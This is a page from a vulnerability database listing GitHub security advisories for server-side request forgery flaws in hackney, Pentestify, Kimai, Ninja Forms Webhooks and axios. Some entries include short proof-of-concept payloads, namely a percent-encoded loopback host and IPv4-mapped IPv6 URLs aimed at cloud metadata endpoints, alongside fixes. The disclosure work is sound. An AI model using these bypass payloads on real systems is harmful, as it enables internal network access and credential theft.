Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6271 vulnerabilities reference this CWE, most recent first.

GHSA-PJ7V-XFVX-WMJQ

Vulnerability from github – Published: 2026-06-26 21:54 – Updated: 2026-06-26 21:54
VLAI
Summary
Hackney has SSRF allowlist bypass in hackney_url:normalize/2 via percent-encoded host
Details

Summary

hackney_url:normalize/2 URL-decodes the host component of a parsed URL, but the caller's SSRF allowlist runs before normalization using OTP's uri_string:parse/1 and inet:parse_address/1, neither of which decodes percent-escapes in hostnames. A URL like http://%31%32%37%2E%30%2E%30%2E%31/ presents an encoded, non-IP-looking host to the validator, which passes the allowlist check; hackney's normalizer then decodes it to 127.0.0.1 and connects to loopback. Because hackney:request/5 always calls normalize/2 with no opt-out, every request path that accepts a binary or list URL is affected. This is a parser-differential SSRF in the same class as CVE-2025-1211, but in a different function.

Details

In src/hackney_url.erl (lines 161–186), normalize/2 checks whether the parsed host is already a dotted-quad or IPv6 literal via inet_parse:address/1. Percent-encoded forms like %31%32%37%2E%30%2E%30%2E%31 fail that check and fall into the catch-all branch, where urldecode/1 decodes the host before passing it to IDNA conversion:

Host1 = binary_to_list(
           urldecode(unicode:characters_to_binary(Host0))
         ),

The decoded host ("127.0.0.1") replaces the original in the returned #hackney_url{} record. hackney:request/5 at src/hackney.erl:463 always calls normalize/2, so the decoded host is what do_dispatch/1 and add_host_header/2 ultimately use. The on-wire Host: header and the TCP connect target both reflect the decoded value.

The same payload pattern reaches the AWS/GCP/Azure IMDS (169.254.169.254), RFC1918 ranges, and any localhost admin endpoint. The 1.21.0 patch for CVE-2025-1211 fixed a separate differential in parse_url/1 and did not touch normalize/2.

PoC

  1. Validate the URL with the canonical Erlang SSRF allowlist: uri_string:parse/1 returns host <<"%31%32%37%2E%30%2E%30%2E%31">>, inet:parse_address/1 returns {error, einval}, so the allowlist accepts it.
  2. Pass the same URL to hackney:get/1.
  3. hackney's normalize/2 decodes the host to "127.0.0.1" and connects to 127.0.0.1:80. The internal service receives the request with Host: 127.0.0.1.

Impact

Unauthenticated SSRF bypassing the canonical Erlang allowlist pattern. Affects hackney 0.13.0 through 4.0.0 for any application that accepts attacker-supplied URLs. Targets include cloud IMDS endpoints, localhost admin interfaces, and RFC1918 backends. CVSS v4.0: 6.9 (MEDIUM).

Resources

  • Introduction commit: https://github.com/benoitc/hackney/commit/4d725507588942fd00efca15b86da3273656510a
  • Patch commit: https://github.com/benoitc/hackney/commit/452620a92ec1da2e6b4862a049a2a4f04b42068f
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "hackney"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.13.0"
            },
            {
              "fixed": "4.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47076"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T21:54:55Z",
    "nvd_published_at": "2026-05-25T15:16:22Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`hackney_url:normalize/2` URL-decodes the host component of a parsed URL, but the caller\u0027s SSRF allowlist runs before normalization using OTP\u0027s `uri_string:parse/1` and `inet:parse_address/1`, neither of which decodes percent-escapes in hostnames. A URL like `http://%31%32%37%2E%30%2E%30%2E%31/` presents an encoded, non-IP-looking host to the validator, which passes the allowlist check; hackney\u0027s normalizer then decodes it to `127.0.0.1` and connects to loopback. Because `hackney:request/5` always calls `normalize/2` with no opt-out, every request path that accepts a binary or list URL is affected. This is a parser-differential SSRF in the same class as CVE-2025-1211, but in a different function.\n\n### Details\n\nIn `src/hackney_url.erl` (lines 161\u2013186), `normalize/2` checks whether the parsed host is already a dotted-quad or IPv6 literal via `inet_parse:address/1`. Percent-encoded forms like `%31%32%37%2E%30%2E%30%2E%31` fail that check and fall into the catch-all branch, where `urldecode/1` decodes the host before passing it to IDNA conversion:\n\n```erlang\nHost1 = binary_to_list(\n           urldecode(unicode:characters_to_binary(Host0))\n         ),\n```\n\nThe decoded host (`\"127.0.0.1\"`) replaces the original in the returned `#hackney_url{}` record. `hackney:request/5` at `src/hackney.erl:463` always calls `normalize/2`, so the decoded host is what `do_dispatch/1` and `add_host_header/2` ultimately use. The on-wire `Host:` header and the TCP connect target both reflect the decoded value.\n\nThe same payload pattern reaches the AWS/GCP/Azure IMDS (`169.254.169.254`), RFC1918 ranges, and any `localhost` admin endpoint. The 1.21.0 patch for CVE-2025-1211 fixed a separate differential in `parse_url/1` and did not touch `normalize/2`.\n\n### PoC\n\n1. Validate the URL with the canonical Erlang SSRF allowlist: `uri_string:parse/1` returns host `\u003c\u003c\"%31%32%37%2E%30%2E%30%2E%31\"\u003e\u003e`, `inet:parse_address/1` returns `{error, einval}`, so the allowlist accepts it.\n2. Pass the same URL to `hackney:get/1`.\n3. hackney\u0027s `normalize/2` decodes the host to `\"127.0.0.1\"` and connects to `127.0.0.1:80`. The internal service receives the request with `Host: 127.0.0.1`.\n\n### Impact\n\nUnauthenticated SSRF bypassing the canonical Erlang allowlist pattern. Affects hackney 0.13.0 through 4.0.0 for any application that accepts attacker-supplied URLs. Targets include cloud IMDS endpoints, `localhost` admin interfaces, and RFC1918 backends. CVSS v4.0: **6.9 (MEDIUM)**.\n\n## Resources\n\n* Introduction commit: https://github.com/benoitc/hackney/commit/4d725507588942fd00efca15b86da3273656510a\n* Patch commit: https://github.com/benoitc/hackney/commit/452620a92ec1da2e6b4862a049a2a4f04b42068f",
  "id": "GHSA-pj7v-xfvx-wmjq",
  "modified": "2026-06-26T21:54:55Z",
  "published": "2026-06-26T21:54:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/benoitc/hackney/security/advisories/GHSA-pj7v-xfvx-wmjq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47076"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benoitc/hackney/commit/452620a92ec1da2e6b4862a049a2a4f04b42068f"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-47076.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/benoitc/hackney"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-47076"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Hackney has SSRF allowlist bypass in hackney_url:normalize/2 via percent-encoded host"
}

GHSA-PJ83-6473-35PQ

Vulnerability from github – Published: 2026-07-31 18:32 – Updated: 2026-07-31 18:32
VLAI
Details

Server-Side Request Forgery in the PDF export component in maalfer Pentestify before 1.1.0 allows authenticated users to cause outbound HTTP GET requests from the server to arbitrary attacker-chosen destinations via unvalidated URLs stored in the finding images field or the report client_logo field, which the server-side headless browser fetches while rendering the report.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-59231"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-31T16:17:08Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery in the PDF export component in maalfer Pentestify before 1.1.0 allows authenticated users to cause outbound HTTP GET requests from the server to arbitrary attacker-chosen destinations via unvalidated URLs stored in the finding images field or the report client_logo field, which the server-side headless browser fetches while rendering the report.",
  "id": "GHSA-pj83-6473-35pq",
  "modified": "2026-07-31T18:32:18Z",
  "published": "2026-07-31T18:32:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59231"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ccyl13/Pentestify/commit/a058a22b42c6311895622645265df79a60265b1d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ccyl13/Pentestify/releases/tag/v1.1.1"
    },
    {
      "type": "WEB",
      "url": "https://secur0.com/en/cna/cve-list/cve-2026-59231-ssrf-in-pentestify-via-unvalidated-image-urls-cve-id-cve-2026-59231"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PJ8J-P4G4-4VW8

Vulnerability from github – Published: 2026-07-10 16:04 – Updated: 2026-07-10 16:04
VLAI
Summary
Kimai has Server-Side Request Forgery in Invoice PDF Rendering via Markdown Image URLs
Details

Summary

Kimai 2.56.0 contains a server-side request forgery vulnerability in its invoice PDF preview and generation workflow. If an attacker can control Markdown content that is later rendered into an invoice PDF, such as Customer.invoiceText, the server-side PDF renderer will fetch remote image URLs embedded in Markdown image syntax.

This allows the application server to issue outbound requests to attacker-controlled or internal targets during PDF rendering. The behavior can be used for internal network probing, server-side reachability checks, and potentially follow-on exploitation depending on deployment environment and accessible internal services.

Details

The vulnerable behavior occurs in the invoice rendering chain when user-controlled Markdown is transformed into HTML and then rendered by mPDF.

  • First, customer invoice text is copied into the invoice model. . Second, the default PDF invoice template renders that field through the Markdown-to-HTML filter.
  • Third, md2html enables full Markdown rendering.
  • Although safe mode is enabled, the tested Markdown image syntax still survives into the rendered HTML chain in a form that causes the PDF renderer to fetch the image resource.
  • Finally, the HTML is handed to mPDF.

The live test confirms that mPDF attempts to retrieve the remote image URL from the server side during PDF preview. This means the issue is not a template-injection problem but an SSRF condition caused by the rendering pipeline:

  • attacker-controlled Markdown
  • Markdown converted to HTML
  • HTML rendered by mPDF
  • mPDF fetches remote image resources from the server side

A PoC was provided, but removed for security reasons.

Impact

This vulnerability allows an attacker who can influence invoice-rendered Markdown fields to cause the Kimai server to make outbound requests to arbitrary destinations. In real deployments, this can be used to probe internal services, test access to internal administrative or metadata endpoints, and confirm server-side reachability to attacker-controlled infrastructure.

Depending on the environment, SSRF can also become a stepping stone toward more serious outcomes, such as triggering side effects on internal HTTP services or extracting sensitive information from services reachable only by the server. Because invoice generation is commonly performed by administrative or finance-related users, the feature is realistically reachable in business workflows.

Solution

  • Kimai does not allow to use markdown images any longer and converts them to HTML links instead
  • Kimai uses a specialized HttpClient for mPDF (called NoPrivateNetworkHttpClient), which prevents access to a variety of URLs, the full list can be fetched from the documentation
  • This change can be a BC break, if someone used
  • the Kimai domain for hosting invoice or export template images
  • an internal IP for hosting invoice or export template images

See https://www.kimai.org/en/security/ghsa-pj8j-p4g4-4vw8

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.57.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.58.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T16:04:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nKimai 2.56.0 contains a server-side request forgery vulnerability in its invoice PDF preview and generation workflow. If an attacker can control Markdown content that is later rendered into an invoice PDF, such as `Customer.invoiceText`, the server-side PDF renderer will fetch remote image URLs embedded in Markdown image syntax.\n\nThis allows the application server to issue outbound requests to attacker-controlled or internal targets during PDF rendering. The behavior can be used for internal network probing, server-side reachability checks, and potentially follow-on exploitation depending on deployment environment and accessible internal services.\n\n### Details\n\nThe vulnerable behavior occurs in the invoice rendering chain when user-controlled Markdown is transformed into HTML and then rendered by mPDF.\n\n- First, customer invoice text is copied into the invoice model.\n. Second, the default PDF invoice template renders that field through the Markdown-to-HTML filter. \n- Third, `md2html` enables full Markdown rendering. \n- Although safe mode is enabled, the tested Markdown image syntax still survives into the rendered HTML chain in a form that causes the PDF renderer to fetch the image resource.\n- Finally, the HTML is handed to mPDF. \n\nThe live test confirms that mPDF attempts to retrieve the remote image URL from the server side during PDF preview. This means the issue is not a template-injection problem but an SSRF condition caused by the rendering pipeline:\n\n- attacker-controlled Markdown\n- Markdown converted to HTML\n- HTML rendered by mPDF\n- mPDF fetches remote image resources from the server side\n\n*A PoC was provided, but removed for security reasons.*\n\n### Impact\n\nThis vulnerability allows an attacker who can influence invoice-rendered Markdown fields to cause the Kimai server to make outbound requests to arbitrary destinations. In real deployments, this can be used to probe internal services, test access to internal administrative or metadata endpoints, and confirm server-side reachability to attacker-controlled infrastructure.\n\nDepending on the environment, SSRF can also become a stepping stone toward more serious outcomes, such as triggering side effects on internal HTTP services or extracting sensitive information from services reachable only by the server. Because invoice generation is commonly performed by administrative or finance-related users, the feature is realistically reachable in business workflows.\n\n# Solution\n\n- Kimai does not allow to use markdown images any longer and converts them to HTML links instead\n- Kimai uses a specialized HttpClient for mPDF (called `NoPrivateNetworkHttpClient`), which prevents access to a variety of URLs, the full list can be fetched [from the documentation](https://www.kimai.org/documentation/pdf-templates.html#embedding-images)\n- This change can be a BC break, if someone used \n  - the Kimai domain for hosting invoice or export template images \n  - an internal IP for hosting invoice or export template images \n\nSee https://www.kimai.org/en/security/ghsa-pj8j-p4g4-4vw8",
  "id": "GHSA-pj8j-p4g4-4vw8",
  "modified": "2026-07-10T16:04:40Z",
  "published": "2026-07-10T16:04:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-pj8j-p4g4-4vw8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Kimai has Server-Side Request Forgery in Invoice PDF Rendering via Markdown Image URLs"
}

GHSA-PJPG-43J3-PGJ7

Vulnerability from github – Published: 2025-05-14 09:30 – Updated: 2025-05-14 09:30
VLAI
Details

The Ninja Forms Webhooks plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.0.7 via the form webhook functionality. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-13940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-14T09:15:18Z",
    "severity": "MODERATE"
  },
  "details": "The Ninja Forms Webhooks plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.0.7 via the form webhook functionality. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-pjpg-43j3-pgj7",
  "modified": "2025-05-14T09:30:25Z",
  "published": "2025-05-14T09:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13940"
    },
    {
      "type": "WEB",
      "url": "https://ninjaforms.com/extensions/webhooks"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4cf2af62-2b5a-4c0a-9e82-f80dde204a9d?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PJWM-PJ3P-43MV

Vulnerability from github – Published: 2026-05-29 15:59 – Updated: 2026-07-20 12:33
VLAI
Summary
axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)
Details

Summary

shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.

Details

lib/helpers/shouldBypassProxy.js (v1.15.0):

  const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);                                                                                                      
  const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);                                                                                                                    

  // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix                                                                                             
  return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));                                                                                             

The WHATWG URL parser canonicalises http://[::ffff:127.0.0.1]/ to hostname [::ffff:7f00:1]. After bracket-stripping: ::ffff:7f00:1. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.

PoC


// NO_PROXY=127.0.0.1,localhost,::1  HTTP_PROXY=http://attacker:8080
import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';                                                                                                       

// All three should return true (bypass proxy). Only the first two do.                                                                                                        
console.log(shouldBypassProxy('http://127.0.0.1/'));          // true  [OK]                                                                                                     
console.log(shouldBypassProxy('http://[::1]/'));               // true  [OK]                                                                                                     
console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass                                                                                             
console.log(shouldBypassProxy('http://[::ffff:7f00:1]/'));     // false <- bypass

Node.js routes ::ffff:7f00:1 to 127.0.0.1:

// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service                                                                                                       
// bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS.                                                                                                         

Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it.

Fix

Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison:

```javascript
const ipv4MappedDotted = /^::ffff:(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})$/i;
const ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i;

function hexToIPv4(a, b) {
const hi = parseInt(a, 16), lo = parseInt(b, 16);
return ${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff};
}

const normalizeNoProxyHost = (hostname) => {
if (!hostname) return hostname;
if (hostname[0] === '[' && hostname.at(-1) === ']') hostname = hostname.slice(1, -1);
hostname = hostname.replace(/.+$/, '').toLowerCase();

let m;
if ((m = hostname.match(ipv4MappedDotted))) return m[1];
if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]);
return hostname;
};

```

Impact

Any application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.0"
            },
            {
              "fixed": "1.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44492"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-289",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T15:59:30Z",
    "nvd_published_at": "2026-06-11T17:16:33Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nshouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as `127.0.0.1` or `169.254.169.254`, a request URL using the IPv4-mapped IPv6 form (`::ffff:7f00:1`, `::ffff:a9fe:a9fe`) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.\n\n### Details\nlib/helpers/shouldBypassProxy.js (v1.15.0):                                                                                                                                   \n\n```javascript                                                                                                                                                                              \n  const LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);                                                                                                      \n  const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);                                                                                                                    \n                                                                                                                                                                                \n  // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix                                                                                             \n  return hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));                                                                                             \n```\n                                                                                                                                                                                \nThe WHATWG URL parser canonicalises `http://[::ffff:127.0.0.1]/` to hostname `[::ffff:7f00:1]`. After bracket-stripping: `::ffff:7f00:1`. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used.  proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.\n\n### PoC\n```javascript\n\n// NO_PROXY=127.0.0.1,localhost,::1  HTTP_PROXY=http://attacker:8080\nimport shouldBypassProxy from \u0027axios/lib/helpers/shouldBypassProxy.js\u0027;                                                                                                       \n                                                                                                                                                                              \n// All three should return true (bypass proxy). Only the first two do.                                                                                                        \nconsole.log(shouldBypassProxy(\u0027http://127.0.0.1/\u0027));          // true  [OK]                                                                                                     \nconsole.log(shouldBypassProxy(\u0027http://[::1]/\u0027));               // true  [OK]                                                                                                     \nconsole.log(shouldBypassProxy(\u0027http://[::ffff:127.0.0.1]/\u0027)); // false \u003c- bypass                                                                                             \nconsole.log(shouldBypassProxy(\u0027http://[::ffff:7f00:1]/\u0027));     // false \u003c- bypass\n\n```                                                                                              \n                                                                                                                                                                              \nNode.js routes ::ffff:7f00:1 to 127.0.0.1:                                                                                                                                    \n\n```                                                                                                                                                                              \n// net.connect({ host: \u0027::ffff:7f00:1\u0027, port: 80 }) reaches a service                                                                                                       \n// bound to 127.0.0.1:80 \u2014 confirmed on Node.js v24, Linux and macOS.                                                                                                         \n```                                                                                                                                                                              \nCloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it.                                                                                                                      \n                                                                                                                                                                            \n#### Fix                                                                                                                                                                           \n                                                                                                                                                                            \nCanonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison:                                                                                                  \n \n ```javascript                                                                                                                                                                           \nconst ipv4MappedDotted = /^::ffff:(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})$/i;                                                                                                    \nconst ipv4MappedHex    = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i;                                                                                                         \n                                                                                                                                                                              \nfunction hexToIPv4(a, b) {                                                                                                                                                    \n  const hi = parseInt(a, 16), lo = parseInt(b, 16);                                                                                                                           \n  return `${hi \u003e\u003e 8}.${hi \u0026 0xff}.${lo \u003e\u003e 8}.${lo \u0026 0xff}`;                                                                                                                   \n}                                                                                                                                                                             \n                                                                                                                                                                              \nconst normalizeNoProxyHost = (hostname) =\u003e {                                                                                                                                  \n  if (!hostname) return hostname;                                                                                                                                           \n  if (hostname[0] === \u0027[\u0027 \u0026\u0026 hostname.at(-1) === \u0027]\u0027)\n    hostname = hostname.slice(1, -1);                                                                                                                                         \n  hostname = hostname.replace(/\\.+$/, \u0027\u0027).toLowerCase();\n                                                                                                                                                                              \n  let m;                                                                                                                                                                    \n  if ((m = hostname.match(ipv4MappedDotted))) return m[1];                                                                                                                    \n  if ((m = hostname.match(ipv4MappedHex)))    return hexToIPv4(m[1], m[2]);                                                                                                   \n  return hostname;                                                                                                                                                            \n};\n\n```\n\n### Impact\nAny application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.",
  "id": "GHSA-pjwm-pj3p-43mv",
  "modified": "2026-07-20T12:33:05Z",
  "published": "2026-05-29T15:59:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44492"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36611"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36754"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36820"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36882"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36883"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:40119"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:40138"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:40262"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:41031"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:41055"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:41064"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:41066"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-44492"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487938"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44492.json"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20889"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20938"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26234"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:27044"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:27063"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:28964"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:29082"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:29197"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30650"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30651"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33005"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33155"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33160"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33163"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33173"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33183"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33574"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:34766"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36108"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "axios\u0027s shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)"
}

GHSA-PJXF-F8RH-3CJP

Vulnerability from github – Published: 2026-09-05 09:30 – Updated: 2026-09-05 09:30
VLAI
Details

